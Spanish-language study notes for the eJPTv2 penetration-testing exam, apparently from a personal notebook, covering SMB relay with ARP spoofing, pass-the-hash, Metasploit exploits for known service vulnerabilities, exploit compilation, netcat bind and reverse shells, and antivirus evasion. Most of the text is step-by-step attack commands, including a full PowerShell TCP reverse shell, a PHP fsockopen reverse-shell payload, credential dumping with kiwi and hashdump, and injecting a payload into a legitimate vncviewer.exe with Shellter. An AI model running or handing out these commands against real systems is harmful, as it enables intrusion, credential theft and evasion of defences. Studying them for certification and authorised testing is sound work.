Que esta pasando exactamente:
Cada vez que una conexion SMB todas vienen a nosotros porque realizamos un DNS spoofing y nosotros redirigimos la solicitud. Asi que cada vez que haya un conexion el SMB Relay module de MSF grabara el NTLM hash y lo usara automaticamente abrir una sesion Meterpreter en la IP .10 que es la del DC o domain controller
El ARP Spoofing sirve para lo siguiente:
Porque el DNS spoofing por sí solo no siempre es suficiente. En una red real:
-
La víctima ya tiene un gateway configurado
-
Ya tiene un DNS configurado
-
El tráfico va directo al router
Tú necesitas colocarte en medio del tráfico. Ahí entra ARP spoofing.
ARP spoofing permite:
Convertirte en Man-In-The-Middle (MITM)
Le dices a la víctima:
|> “Oye, el gateway soy yo”
Y le dices al gateway:
|> “Oye, la víctima soy yo”
Resultado:
Todo el tráfico pasa por tu máquina.
eJPTv2
4. Vulnerabilidades / 5. Pth
1. Pth
Con modulo MSF
Haremos un PTH al servicio SMB que requiere credenciales
Tendremos que tener descargado kiwi
| Comando |
Explicacion |
| service postgresql start |
|
| msfconsole |
|
| search badblue |
|
| use /…/badblue-passthru |
|
| set OPTIONS |
|
| run |
Obtendremos sesion Meterpreter |
| pgrep lsass |
Busca procesos cuyo nombre coincida con lsass y devuelve sus PID. lsass es el Local Security Authority Subsystem Service en Windows: - Gestiona autenticación de usuarios. - Mantiene credenciales en memoria. - Es el proceso que se intenta dumpear en post-explotación |
| migrate PID |
|
| load kiwi |
|
| lsa_dump_sam |
Obtendremos los NTLM de los usuario |
| hashdump |
Nos devuelve user::hash_LM::hashNTLM |
| bg |
|
| search psexec |
|
| use /exploit/windows/smb/psexec |
|
| set OPTIONS |
SMBUser “USUARIO” SMBPass “NL:NTLM” |
| show target |
Tendremos que elegir uno e ir probando porque pueden fallar |
| set target “NOMBRE” |
|
| run |
|
Con crackmapexec
| Comando |
Explicacion |
| crackmapexec protocolo(smb) IP -u USER -H “NTLM” |
Interactua con el protocolo destino y nos dice si las credenciales son validas |
| crackmapexec protocolo(smb) IP -u USER -H “NTLM” -x “COMANDO(whoami)” |
Interactua con el protocolo, se loggea y realiza el comando |
eJPTv2
4. Vulnerabilidades
Inidice Comandos
-
Buscar Vulns
- [[1. MSF y Searchsploit|Msf y Searchsploit para buscar vulns]]
- [[2. Exploit DB y Google|ExploitDB y Google]]
-
Windows
-
IIS-WebDAV-Wmap : cadaver y davtest
- [[1. WebDAV|WebDAV]]
- [[2. Wmap para Escaneo Web|Wmap]]
- [[3. HTTPFileServer 2.3.x - Rejetto|Rejetto HFS 2.3.x]]
-
SMB
- [[1. Explotando MS17-010 SMB Vuln (EternalBlue)|Eternablue]]
- [[2. Login PsExec|PsExec]]
-
RDP
- [[1. Explotando Windows CVE-2019-0708 RDP (BlueKeep)|Bluekeep]]
- [[2. Explotando RDP|Explotando RDP
-
WinRM
- [[1. Explotando WinRM |Explotando WinRM]]
-
Alternate Data Streams
- [[1. Alternate Data Streams|Alternate Data Streams]]
-
Linux
- Apache/CGI
- [[1. Exploiting Bash CVE-2014-6271 (Shellshock Apache 2.4.6)|Shellshock cgi]]
-
Network Attacks
- [[1. NetBIOS y SMB]]
- [[2. SNMP]]
- [[3. SMB Relay]]
-
PTH
- [[1. PTH|PTH]]
eJPTv2
5. Explotacion / 1. Windows / 1. Vulns Conocidas
1. HTTP File Server 2.3.x Rejetto
Visto en: [[3. HTTPFileServer 2.3.x - Rejetto]]
eJPTv2
5. Explotacion / 1. Windows / 1. Vulns Conocidas
2. SMB MS17 010 (eternalblue) O MS08 067 (para Windows Xp 2000)
Visto en: [[2. SMB MS17-010 (EternalBlue) o MS08-067 (Para Windows XP-2000)]]
eJPTv2
5. Explotacion / 1. Windows / 1. Vulns Conocidas
3. Apache Tomcat Webserver 8.5.19
Es un open source Java servlet (clase de java que se ejecuta como webserver)
Se usa para contruir y hostear websites dinamicos y aplicaciones web basadas en java sw. Suelen estar desarrolladas con PHP
Modulo MSF
search type:exploit tomcat_jsp
tomcat_jsp_upload_bypass
Ejemplo
![[Pasted image 20260318152015.png]]![[Pasted image 20260318152023.png]]
![[Pasted image 20260318152035.png]]![[Pasted image 20260318152043.png]]![[Pasted image 20260318152051.png]]
eJPTv2
5. Explotacion / 1. Windows / 1. Vulns Conocidas
4. RDP (bluekeep)
Visto en: [[1. Explotando Windows CVE-2019-0708 RDP (BlueKeep)]]
eJPTv2
5. Explotacion / 1. Windows / 1. Vulns Conocidas
5. HTTP 2.7 (badblue)
Modulo MSF
badblue_passthru
Tener en cuentra el TARGET
Ejemplo
![[Pasted image 20260318160140.png]]
eJPTv2
5. Explotacion / 2. Linux / 1. Vulns Conocidas
1. Webapp Cgis (apache 2.4.6) Shellshock
Visto en: [[1. Exploiting Bash CVE-2014-6271 (Shellshock Apache 2.4.6)]]
eJPTv2
5. Explotacion / 2. Linux / 1. Vulns Conocidas
2. FTP Vsftpd 2.3.4
Modulo MSF
vsftp_234_backdoor
Ejemplo
![[Pasted image 20260318152542.png]]
eJPTv2
5. Explotacion / 2. Linux / 1. Vulns Conocidas
3. Samba 3.X 4.X (is Known Pipename)
Modulo MSF
is_known_pipename
Ejemplo
![[Pasted image 20260318152657.png]]![[Pasted image 20260318152711.png]]
eJPTv2
5. Explotacion / 2. Linux / 1. Vulns Conocidas
4. SSH 0.6.0 0.8.0
libssh es una libreria multiplataforma implementada en SSHv2 en el lado del cliente y servidor
libssh V0.6.0-0.8.0 es vulnerable a bypass de autenticacion que puede ser explotable para ejecutar comandos en un servidor objetivo
Modulo MSF
libssh_Auth_bypass
Comandos
| search libssh_Auth_bypass |
| use |
| show options |
| set spawn_pty true |
| run |
| sessions |
eJPTv2
5. Explotacion / 2. Linux / 1. Vulns Conocidas
5. Proftpd 1.3.3
Comandos
| msfconsole -q |
|
| search ProFTPD 1.3.3 |
|
| use exploit |
|
| set rhosts IP |
|
| run |
|
| /bin/bash -i |
Tenemos acceso como root |
Ejemplo
![[Pasted image 20260318161941.png]]
eJPTv2
5. Explotacion / 2. Linux / 1. Vulns Conocidas
5. Snmp 2.8.8 Haraka
Modulo MSF
search type:exploit name:haraka
Comandos
| search type:exploit name:haraka |
|
| use |
|
| show options |
|
| set srvport 9898 |
Lo cambiamos porque el payload usa el 8080 |
| set email_to [email protected] |
Debe ser aceptado por el servidor
[[3. Enum Servicios/7. SMTP (25 - 465 o 586)/1. Interaccion|Interactuar con servidor]] |
| set payload linux/x64/meterpreter_reverse_tcp |
|
| set lhost eht1 |
|
| run |
|
eJPTv2
5. Explotacion / 2. Linux / 1. Vulns Conocidas
6. Php 5.2.4
| Comandos |
Explicacion |
| nmap -Pn -sS -sCV -p80 -T4 IP |
Vemos que tiene levantado un DAV |
| Vamos al navegador y abrimos http:://IP |
|
| A veces el config se encuentra en: /phpinfo.php |
Vemos que la version es 5.2.4 Soporta CGI /etc/php5/cgi/php.ini –> ruta de cgi conf |
| searchsploit php cgi |
Encontramos un exploit de argument injection para las versiones 5.3.12 |
| searchsploit -m 18836 |
|
| nano 18836.py |
|
|
|
| Cosas a cambiar |
pwd_code (<?php $sock=fsockopen(“IP”,1234);exec(“/bin/sh -i <&4 >&4 2>&4”);?>) |
| nc -nvlp 1234 |
|
| python2 18836.py IP 80 |
|
|
|
| Obtenemos la reverse shell |
|
| /bin/bash -i |
|
Ejemplo
![[Pasted image 20260318170000.png]]![[Pasted image 20260318170012.png]]![[Pasted image 20260318170018.png]]
eJPTv2
5. Explotacion / 2. Linux / 1. Vulns Conocidas
7. Samba 3.0.20
Puede que tambien sea vulnerables a [[3. Samba 3.X - 4.X (is_known_pipename)]]
| nmap -Pn -sS -sVC -p445 -T4 IP |
Nos dice una version entre 3.X y 4.X |
| nc -nv IP 445 |
No tenemos un banner |
| msfconsole -q |
|
| search smb_version |
|
| use |
|
| show options |
|
| set rhosts IP |
|
| run |
Samb 3.0.20 |
| searchsploit samba 3.0.20 |
Vemos un exploit especifico de nuestra version que tiene modulo MSF de Command Execution |
| search samba 3.0.20 |
|
| use |
|
| show options |
|
| set rhosts IP |
|
| run |
|
| /bin/bash -i |
|
| ctl Z |
|
| sessions |
|
| sessions -u N |
|
| sessions |
|
| sessions N |
Obtenemos un root access + Meterpreter al host |
| getuid |
|
Ejemplo
![[Pasted image 20260318170217.png]]
eJPTv2
5. Explotacion / 3. Arreglando Exploits Y Compilacion
1. Arreglando Exploits
| searchsploit http file server |
Vemos varios archivos para la 2.3 de Rejetto. Usaremos el que tiene Remote Command Execution y extension .py para ejecutarlo con python |
| searhsploit -m ID_Exploit |
|
| nano Archivo |
Veremos alguna metadata y descriptcion en los comentarios del principio Tambien vemos aqui el Usage (como usarlo) |
| python ARCHIVO IP_TARGET PUERTO |
Vemos que no funciona. Eso es porque hay algo que no hemos visto |
| nano Archivo |
En EDB Note, en los comentarios vemos que dice:
Para usarlo necesitamos tener un webserver hosting con netcat (http://IP_TARGET:80/nc.exe)
Si bajamos al codigo, vemos una variable ip_addr (LOCAL_IP) y local_port
|
Cambiamos ip_addr a la IP_LOCAL
Cambiamos local_port al puerto con el que vayamos a escuchar el netcat: ejemplo 1234 |
No tenemos que cambiar nada mas, guardamos y salimos |
eJPTv2
5. Explotacion / 3. Arreglando Exploits Y Compilacion
2. Compilacion C
En ciertos casos ciertos exploits estan escritos en C/C++/C# y necesitaremos compilar el exploit en un Portable Executeable/PE o binario
Windows
Herramientas:
-
MinGW-w64: para compilar sw desde Linux para Windows
![[Pasted image 20260318164618.png]]
-
Gcc
| apt install mingw-64 -y |
|
| apt install gcc |
|
Se recomienda compilarlo en la version de 32bits ya que correra en todas las versiones
| searchsploit VideoLAN VLC smb |
El nuestro es el 9303 |
| searchsploit -m 9303 |
|
| ls |
|
| nano 9303 |
Si el exploit esta bien doccumentado tendra el como compilarlo, no es el caso |
| i686-w64-mingw32-gcc 9303.c -o NOMBRE |
Version x64 |
| ls |
Vemos nuestro .exe |
|
|
| i686-w64-ming32-gcc 9303.c -0 NOMBRE -lws2_32 |
Version x32 |
Linux
| searchsploit Dirty Cow |
Nosotros buscamos el 40839 |
| searchsploit -m 40839 |
|
| nano 40839 |
Este si tiene instruccion de compilacion |
| gcc -pthread 40389 -o NOMBRE -lcrypt |
Obtenemos el elf o binario |
Recurso por si falla el cross compiling
Hay veces que falla y el siguiente recurso de Github tiene compilaciones ya hechas de exploits sobretodo de WIndows pero de las dos:
https://github.com/offensive-security/exploit-db-sploits/
![[Pasted image 20260318164646.png]]
eJPTv2
5. Explotacion / 4. Shells
1. Ubicacion Kali Y Cheatsheet
Visto en: [[4. Shells y Cheatsheet reverse shells]]
eJPTv2
5. Explotacion / 4. Shells
2. Crear Bind Shell Con Netcat
| Comandos |
Explicacion |
| En nuestra Kali |
|
| cd /usr/share/windows-binaries |
|
| python -m SimpleHTTPServer 80 |
|
|
|
| En el target |
|
http://IP y descargar
o
certutil -urlcache -f http://IP/nc.exe |
|
| Abrimos un cmd |
|
| nc.exe -nvlp 1234 -e cmd.exe |
Cuando se conecte el atacante se ejecutara cmd.exe en su conexion |
|
|
| En nuestra kali |
|
| nc -nv IP 1234 |
Se abrira un cmd |
|
|
| AL REVES TAMBIEN SE PUEDE |
|
| En nuestra kali |
|
| nc -nvlp 1234 -e /bin/bash |
|
|
|
| En el target: |
|
| nc.exe -nv NUESTRA_IP 1234 |
|
eJPTv2
5. Explotacion / 4. Shells
3. Crear Reverse Shells Con Netcat
| Comandos |
Explicacion |
| En nuestra Kali |
|
| cd /usr/share/windows-binaries |
|
| python -m SimpleHTTPServer 80 |
|
|
|
| En el target |
|
http://IP y descargar
o
certutil -urlcache -f http://IP/nc.exe |
|
| Abrimos un cmd |
|
|
|
| En nuestra kali |
|
| nc -nvlp 1234 |
|
|
|
| En el objetivo |
|
| nc.exe -nv IP 1234 -e cmd.exe |
|
|
|
| En nuestra kali |
Habremos obtenido el shell |
|
|
| AL REVES TAMBIEN SIRVE |
|
| En el target |
|
| nc -nvlp 1234 |
|
|
|
| En nuestra Kali |
|
| nc -nv IP 1234 -cmd.exe |
|
|
|
| TAMBIEN SIRVE ENTRE LINUX |
Solo hay que ejecutar un /bin/bash en vez de un cmd.exe |
| En nuestra kali |
|
| nc -nvlp 1234 |
|
|
|
| En el linux objetivo |
|
| nc -nv IP 1234 -e /bin/bash |
|
eJPTv2
5. Explotacion / 4. Shells
4. Upgradeando Non Interactive Shells
| run |
Nos dara una non interactive shell |
|
|
| Convirtiendola en interactiva |
|
| cat /etc/shells |
Dependiendo de la que este instalada se usa unos comandos u otros |
/bin/bash -i
o
/bin/sh -i
o si hay python (python –version)
python -c ‘import pty; pty.spawn(“/bin/bash”)’
o si hay perl (perl –help)
perl -e ‘exec “/bin/bash”;’ / perl exec “/bin/bash”; |
|
| env |
|
| export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin |
|
| export TERM=xterm |
|
| export SHELL=bash |
|
| env |
|
eJPTv2
5. Explotacion / 4. Shells
5. Shell Modulo WEB Delivery
Tenemos que tener acceso a las dos maquinas previamente
| msfconsole -q |
|
| search web_delivery |
Crea un webserver que contiene un payload que se descarga y ejecuta en el sistema objetivo y establece una sesion |
| use |
|
| show options |
|
| set target PSH\ Binary |
|
| set payload windows/shell/reverse_tcp |
|
| set PAH-EncodedCommnad false |
|
| set LHOST IP |
|
| run |
Copiamos el powershell code |
|
|
| Vamos al sistema objetivo |
|
| Abrimos un cmd |
|
| Lo pegamos y ejecutamos |
|
|
|
| Volvemos al MSF |
|
| sessions |
|
| sessions N |
|
eJPTv2
5. Explotacion / 4. Shells
6. Shell Modulo Hta Server
Tenemos que tener acceso a las dos maquinas previamente
![[Pasted image 20260318183240.png]]
eJPTv2
5. Explotacion / 5. Ofuscacion Y Evasion Av
1. Shellter
Usaremos shellter: una herramienta de inyeccion de shellcode de forma dinamica mediante PE (ejecutables portables). Se usa para injectar un shell code en aplicaciones de Windows nativas (actualmente solo aplicaciones 32bits)
| Comandos |
Explicacion |
| sudo apt install shellter -y |
|
sudo dpkg –add-architecture i386 sudo apt install win32 |
Esto va a permitir ejecutar aplicaciones nativas de Windows en nuestras kali. Se instalo el paquete de arquitectura 32bits debido a que shellter solo funciona con aplicaciones Windows de 32bits |
|
|
| ls -la /usr/share/windows-resources/shellter |
shelleter.exe esta aqui |
| cp /usr/share/windows-binaries/vncviewer.exe . |
Es un programa legitimo de windows que permite conectarte a un VNC session |
| sudo wine shellter.exe |
A:automatico /home/kali/Desktop/vncviewer.exe Y:yes a funcionar de forma legitima en primer plano L: payload del listado (C:seria custom) Numero en la lista: este caso 1 LHOST LPORT |
|
|
| En nuestro sitio de trabajo se ha remplazado el ejecutable. En /usr/share/windows-resources/shellter-backup se genera un backup del archivo original por si lo queremos recuperar |
|
| El que se creo si lo ejecutamos se ejecutara normalmente pero en segundo plano se ejecutara el payload |
|
| sudo python3 -m SimpleHTTPServer 80 |
|
| msfconsole -q |
|
| use multi/handler |
|
| set payload windows/meterpreter/reverse_tcp |
|
| set lhost IP |
|
| set lport 1234 |
|
| run |
|
|
|
| Vamos al Windows system y vamos en el navegador a: IP:80 y descargamos el .exe |
|
| Lo ejecutamos |
En primer plano se ve normal |
|
|
| Si volvemos al kali en el listener de MSF tendremos la shell meterpreter |
|
eJPTv2
5. Explotacion / 5. Ofuscacion Y Evasion Av
2. Ofuscacion De Codigo Powershell
Ofuscacion: procesos de ocultar algo importante o critico. Reorganiza el codigo con el fin de que sea mas dificil de analizar
Como pentester trabajaras con codigo PowerShell frecuentemente y los AVs detectan muy rapidamente si el codigo PowerShell es malicioso o no.
Invoke-Obfuscation: https://github.com/danielbohannon/Invoke-Obfuscation
Comandos
| Comandos |
Explicacion |
| git clone https://github.com/danielbohannon/Invoke-Obfuscation |
Esto lo usaremos por ejemplo para ofuscar reverse shell en PowerShell |
| sudo apt install powershell -y |
|
| pwsh |
Tenemos acceso a una powershell en linux |
| cd Invoke-Obfuscation |
|
| ls |
|
| Import-Module ./Invoke-Obfuscation |
|
|
|
Vamos a coger el siguiente codigo powershell reverse shell nano reverse.ps1 |
|
| powershell -nop -c “$client = New-Object System.Net.Sockets.TCPClient(‘10.0.0.1’,4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ’PS ’ + (pwd).Path + ’> ’;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()” |
|
| Nos quedamos con lo siguiente |
|
| $client = New-Object System.Net.Sockets.TCPClient(‘IPLOCAL’,LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ’PS ’ + (pwd).Path + ’> ’;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |
Cambiamos IPLOCAL y LPORT |
|
|
| Volvemos a Invoke-Obfuscation |
|
| SET SCRIPTPATH /ruta/reverse.ps1 |
|
| AST |
|
| ALL |
|
| 1 |
Saldra un codigo ofuscado que copiamos y pegamos en el reverse.ps1 |
| Copiamos ese codigo en reverse.ps1 y guardamos |
|
|
|
| python3 -m http.server 80 |
|
| nc -nvlp 1234 |
|
|
|
| Vamos a Windows y descargamos el archivo yendo a IP:80 |
|
| Lo ejecutamos (click derecho correr en la PowerShell o nos metemos en una PowerShell y hacemos .\achivo.ps1) |
|
| En nc conseguimos la shell, le damos Enter para que salga el prompt |
|
eJPTv2
5. Explotacion
Indice Explotacion
-
Windows
- Vulnerabilidades conocidas
- [[3. HTTPFileServer 2.3.x - Rejetto]]
- [[2. SMB MS17-010 (EternalBlue) o MS08-067 (Para Windows XP-2000)]]
- [[3. Apache Tomcat WebServer 8.5.19]]
- [[4. RDP (BlueKeep)]]
- [[5. HTTP 2.7 (BadBlue)]]
-
Linux
- Vulnerabilidades conocidas
- [[1. WebApp CGIs (Apache 2.4.6) - Shellshock]]
- [[2. FTP vsftpd 2.3.4]]
- [[3. Samba 3.X - 4.X (is_known_pipename)]]
- [[4. SSH 0.6.0 - 0.8.0]]
- [[5. ProFTPD 1.3.3]]
- [[5. SNMP 2.8.8 - Haraka]]
- [[6. PHP 5.2.4]]
- [[7. Samba 3.0.20]]
-
Arreglando exploits
- [[1. Arreglando exploits]]
- [[2. Compilacion C]]
-
Shells
- [[1. Ubicacion kali y Cheatsheet]]
- [[2. Crear bind shell con Netcat]]
- [[3. Crear reverse shells con Netcat]]
- [[4. Upgradeando Non-Interactive Shells]]
- [[5. Shell Modulo web_delivery]]
- [[6. Shell Modulo hta_server]]
-
Ofuscacion y evasion AV
- Evasion AV
- [[1. Shellter]]
- Ofuscacion codigo
- [[2. Ofuscacion de codigo Powershell]]
eJPTv2
6. Post Explotacion / 1. Enumeracion Del Sistema Y Mejora Del Shell / 1. Mejorar Shell
1. Mejorando Shell A Meterpreter Desde MSF
| run |
Nos dara una shell normal |
| /bin/bash -i |
|
| Ctl Z |
Background |
| sessions |
|
|
|
| Upgradearla |
|
| sessions |
Ahi estara el meterpreter |
| sessions -u N |
Ejecuta lo mismo pero de forma automatica |
|
|
| run |
Nos dara una shell normal |
| /bin/bash -i |
|
| Ctl Z |
Background |
| sessions |
|
|
|
| Upgradearla |
|
| search shell_to_meterpreter |
|
| use |
|
| show options |
|
| set session N |
|
| set lhost IP |
|
| run |
Nos dara una meterpreter shell |
| sessions |
Ahi estara |
eJPTv2
6. Post Explotacion / 1. Enumeracion Del Sistema Y Mejora Del Shell / 2. Enumeracion MSF Y Meterpreter
1. Enumeracion MSF Meterpreter
Windows y Linux
| Comandos |
Explicacion |
| sysinfo |
Informacion del sistema comprometido |
| getuid |
Conseguir el usuario |
| help |
Lista de comandos |
| exit |
Terminarla (NO HACER AHORA) |
| bg |
Poner en background |
| sessions -h |
|
| sessions -C COMANDO -i N |
Ejecuta un comando en una session sin tener que meterte |
| sessions -k N |
Matar la session (NO HACER AHORA) |
| sessions -n NOMBRE |
Poner nombre a las sessiones |
| sessions N |
|
| pwd |
Ver el directorio en el que estamos |
| cd .. |
|
| cat flag1.txt |
|
| edit archivo |
Editar una archivo :q salir |
| cd Secret FIles |
|
| cat flag2.txt |
|
| cd .. |
|
| download flag5.zip /ruta/nombre_archivo |
|
| bg |
|
| unzip flag5.txt |
|
| checksum md5 /bin/binario |
Obtener el hash de un binario |
| getenv VARIABLE |
Conseguir el valor de una variable |
| search -d /usr/bin -f *backdoor* |
Busca un archivo en el sistema de directorio |
| search -d /usr/bin -f *.php |
|
| search -f archivo |
Buscar el archivo en todo el sistema |
| shell |
Obtener una shell native del sistema |
| Ctl C |
Termina la shell y vuelve a Meterpreter |
| ps |
Ver la lista de procesos. Si queremos migrar a un proceso en especifico |
| migrate N (PID) |
|
| execute -f CMANDO |
Ejecutar un comando en el sistema desde meterpreter |
| mkdir nombre |
|
| rmdir nombre |
|
| ls o lls |
|
| screenshot |
Hace una captura de la pantalla del objetivo |
eJPTv2
6. Post Explotacion / 1. Enumeracion Del Sistema Y Mejora Del Shell / 2. Enumeracion MSF Y Meterpreter
2. Modulos MSF Enumeracion Postexplotacion Windows
post/windows/manage/migrate
| search migrate |
|
| use post/windows/manage/migrate |
Nos permite crear un proceso y migrar a el |
| show options |
|
| set session N |
|
| run |
Falla porque ya hemos migrado |
- /post/windows/gather/win_privs
| search win_privs |
|
| use /post/windows/gather/win_privs |
Nos permite enumerar los privilegios del usuario actual |
| set session N |
|
| run |
- Is Admin: true - Is System: no tenemos privs de sistema porque cambiarmos de usuario con impersonate tokens - Is In Local Admin Group: true - UAC Enable: true - UID: MAQUINA\Usuario |
- /post/windows/gather/enum_logged_on_users
| search enum_logged_on |
|
| use /post/windows/gather/enum_logged_on_users |
Nos permite ver los usuarios logeados en el momento y recientes |
| show options |
|
| set session 1 |
|
| run |
Nos da los SID actuales y recientes |
- /post/windows/gather/checkvm
| search checkvm |
|
| use /post/windows/gather/checkvm |
Nos dice si la maquina esta en un VM |
| show options |
|
| set session 1 |
|
| run |
Nos dice que es una Xen VM. Esto es importante porque hay modulos que pueden romper el entorno virtual y darnos acceso al host |
- /post/windows/gather/enum_applications
| search enum_applications |
|
| use /post/windows/gather/enum_applications |
Nos da una lista con los programas descargados y su version |
| show options |
|
| set session 1 |
|
| run |
Algunas versiones de esas aplicaciones tendran vulns que nos permitan elevar nuestros privs |
- /post/windows/gather/enum_av_excluded
| search type:post platform_windows enum_av |
|
| use post/windows/gather/enum_av_excluded |
Nos enumera las carpetas, extensiones… con exclusiones AV donde podremos ejecutar |
| show options |
|
| set session 1 |
|
| run |
Nos detecta el Deffender de Windows pero no exclusiones en este caso |
- post/windows/gather/enum_computers
| search enum_computer |
|
| use post/windows/gather/enum_computers |
Enumera las maquinas conectadas al dominio |
| show options |
|
| set session 1 |
|
| run |
Esta maquina no esta conectada a un dominio |
- post/windows/gather/enum_patches
| search enum_patches |
|
| use post/windows/gather/enum_patches |
Enumera los parches |
| show options |
|
| KB |
KB patches son numeros identificadores de actualizaciones de Windows. Lo podemos modificar pero en este caso lo dejamos en default |
| set session 1 |
|
| run |
Nos dice que no se puede. Probamos a migrar de proceso a otro con AUTHORITY\SYSTEM |
| sessions N |
|
| ps |
|
| migrate PID |
Hemos cambiado a svchost.exe |
| bg |
|
| run |
No sigue dando error |
|
|
| Otra forma manual |
|
| sessions N |
|
| shell |
|
| systeminfo |
Nos da info del sistema y una lista de los KB patches instalados |
- /post/windows/gather/enum_shares
| search enum_shares |
|
| use /post/windows/gather/enum_shares |
Nos enumera los shares |
| show options |
|
| set sessions N |
|
| run |
Encontramos un $print (de impresora) |
- post/windows/manage/enable_rdp
| search rdp platform:windows |
|
| use post/windows/manage/enable_rdp |
Nos dice si RDP esta habilitado |
| show options |
|
| set sessions N |
|
| run |
Nos dice que esta habilitado |
Toda esta informacion se gurardara en:
| loot |
Nos dara informacion recopilada importante |
| /home/user/.msf4<7loot/ |
Aqui estara en el sistema de archivos |
eJPTv2
6. Post Explotacion / 1. Enumeracion Del Sistema Y Mejora Del Shell / 2. Enumeracion MSF Y Meterpreter
3 Modulos MSF Enumeracion Postexplotacion Linux
- post/linux/gather/enum_config
| search enum_config |
|
| use post/linux/gather/enum_config |
Recopila los archivos de configuracion de Linux |
| show options |
|
| set session N |
|
| run |
Los verdes son los que existen |
| loot |
Veremos los archivos |
| cat /archivo |
Leemos uno |
| search type:post platform:linux env |
|
| use post/linux/gather/env |
Recopila las variables de entorno |
| show options |
|
| set session N |
|
| run |
Los verdes son los que existen |
- post/linux/gather/enum_network
| search enum_network |
|
| use post/linux/gather/enum_network |
Recopila info de la red |
| show options |
|
| set session N |
|
| run |
Cosas como intentar abrir el sshd, recopilar info y configuraciones del firewall, dns… |
| loot |
|
| cat /archivo |
En el de dns config vemos que el ns principal es members-linode.com (linode es un servicio cloud) |
- post/linux/gather/enum_protections
| search enum_protections |
|
| use post/linux/gather/enum_protections |
Checkea el endurecimiento de los mecanismos del sistemas , enumera aplicaciones instaladas que puede ser usada para dificultar, prevenir o detectar ataques. Intenta descubrir los modulos de Linux (LSM), antivirus, IDS/IPS… |
| show options |
|
| set session N |
|
| run |
Vemos cosas como: ASLR, SMEP, SMAP, Yama, tcpdump… |
| notes |
|
- post/linux/gather/enum_system
| search enum_system |
|
| use post/linux/gather/enum_system |
Recopila informacion del sistema |
| show options |
|
| set session N |
|
| run |
Vemos cosas como: ASLR, SMEP, SMAP, Yama, tcpdump… |
| loot |
|
| cat /ruta/installed_packets |
|
| cat /ruta/cronjobs |
|
- post/linux/gather/checkcontainer
| search checkcontainer |
|
| use post/linux/gather/checkcontainer |
Nos dice si tiene un contenedor |
| show options |
|
| set session N |
|
| run |
Parece ser un Docker host |
- post/linux/gather/checkvm
| search checkvm platform:linux |
|
| use post/linux/gather/checkvm |
Detecta un entorno virtual |
| show options |
|
| set session N |
|
| run |
|
- post/linux/gather/enum_user_history
| search enum_user_history |
|
| use post/linux/gather/enum_user_history |
Trata de conseguir los history (contienen comadnos realizados previamente) a de las cuentas |
| show options |
|
| set session N |
|
| run |
|
| loot |
|
| cat /ruta/para_root |
|
eJPTv2
6. Post Explotacion / 1. Enumeracion Del Sistema Y Mejora Del Shell / 3. Enumeracion Manual / 1. Windows
1. Enumeracion De Informacion Del Sistema
| sysinfo |
Informacion del sistema como: - Hostname - SO y Service Pack - Arquitectura |
| shell |
|
| hostname |
|
| systeminfo |
Nos da info de todo el SO: - Hostname - OS name - OS version y build - Arquitectura - Procesador - Boot Device - Domain - Hotfixed: estos se pueden pegar en google para saber que esta parcheado y que es vuln - Network info: interfaz, IP del DHCP Server, IP del sistema… |
| wmic qfe get Caption, Description, HotFixID, InstalledOn |
Esto nos da mas informacion sobre los Hotfix instlados: - URLD - Para que fuerons instalados - Num del Hotfix (KBXXXX) - Dia que se instalo |
| exit |
Volvemos al meterpreter |
| cat C:/Windows/System32/eula.txt |
Este archivo si existe nos da info del SO |
eJPTv2
6. Post Explotacion / 1. Enumeracion Del Sistema Y Mejora Del Shell / 3. Enumeracion Manual / 1. Windows
2. Enumeracion De Users Y Grupos
| getuid |
|
| shell |
|
| whoami |
Hostname/user |
| whoami /priv |
Priv del usuario actual |
| query user |
Usuarios loggeados actualmente |
| net users |
Cuentas del sistema |
| net user USER |
Mas info de un usuario especifico |
| net localgroup |
Todos los grupos del sistema |
| net localgroup NOMBRE_GRUPO |
Nos da los members del grupo |
eJPTv2
6. Post Explotacion / 1. Enumeracion Del Sistema Y Mejora Del Shell / 3. Enumeracion Manual / 1. Windows
3. Enumeracion Local
| shell |
|
| ipconfig |
IP actual, adaptadores, gateway, mascaras |
| ipconfig /all |
Informacion adicional: MACs, DHCP Enable, DHCP Server, DNS Server…
Si este host tuviera otra interfaz para alcanzar un nuevo segmento de red que antes no hemos sido capaces de acceder desde fuera saldria por aqui |
| route PRINT |
Tabla de rutas |
| arp -a |
ARP table (IP/MAC) |
| netstat -ano |
Lista los servicios:puerto, protocolo, estado y PID que estan corriendo
Son los enumerados por nmap, el 4444 (estado: ESTABLISHED) que es por donde tenemos conectado nuestro Meterpreter y alguno que puede haberse escapado |
| netsh advfirewall show allprofiles |
En este caso esta deshabilitado |
|
|
Para ver los parametros de netsh advfirewall poenemo solo:
netsh advfirewall |
Saldran los parametros que podemos usar a modo de help menu |
eJPTv2
6. Post Explotacion / 1. Enumeracion Del Sistema Y Mejora Del Shell / 3. Enumeracion Manual / 1. Windows
4. Enumeracion Procesos Y Servicios
| ps |
Procesos que estan corriendo en una lista: - PID - Name - Arquitecura - User (ptivs asociados al proceso) - Patch
Si accediesemos con el usuario bob, no administrado, no nos saldrian los procesos con priv AUTHORITY\SYSTEM solo los relacionados con bob |
| pgrep PROCESS_NAME |
Ej: pgrep explorer.exe |
| migrtate PID |
Migrar a un proceso |
| sysinfo |
Vemos que hemos migrado a un meterpreter x64, es otra forma de cambiar a un meterpreter x64 |
|
|
| shell |
|
| net start |
Servicios start (No procesos) estos corren en background |
| wmic service list brief |
Lista servicios con un: - ExitCode - Name - ProccessID - StartMode - Estado - Status |
| tasklist /SVC |
Lista procesos que estan corriendo y el servicio que esta corriendo ese proceso en particular |
schtasks /query /fo LIST
|
Lista tareas programadas
Dara muchisima info, se recomiendo copiar y pegar en un notas por ejemplo, esta info sera muy util en la escalada de privs
- Hostname - Taskname - Task torun - Schedule |
eJPTv2
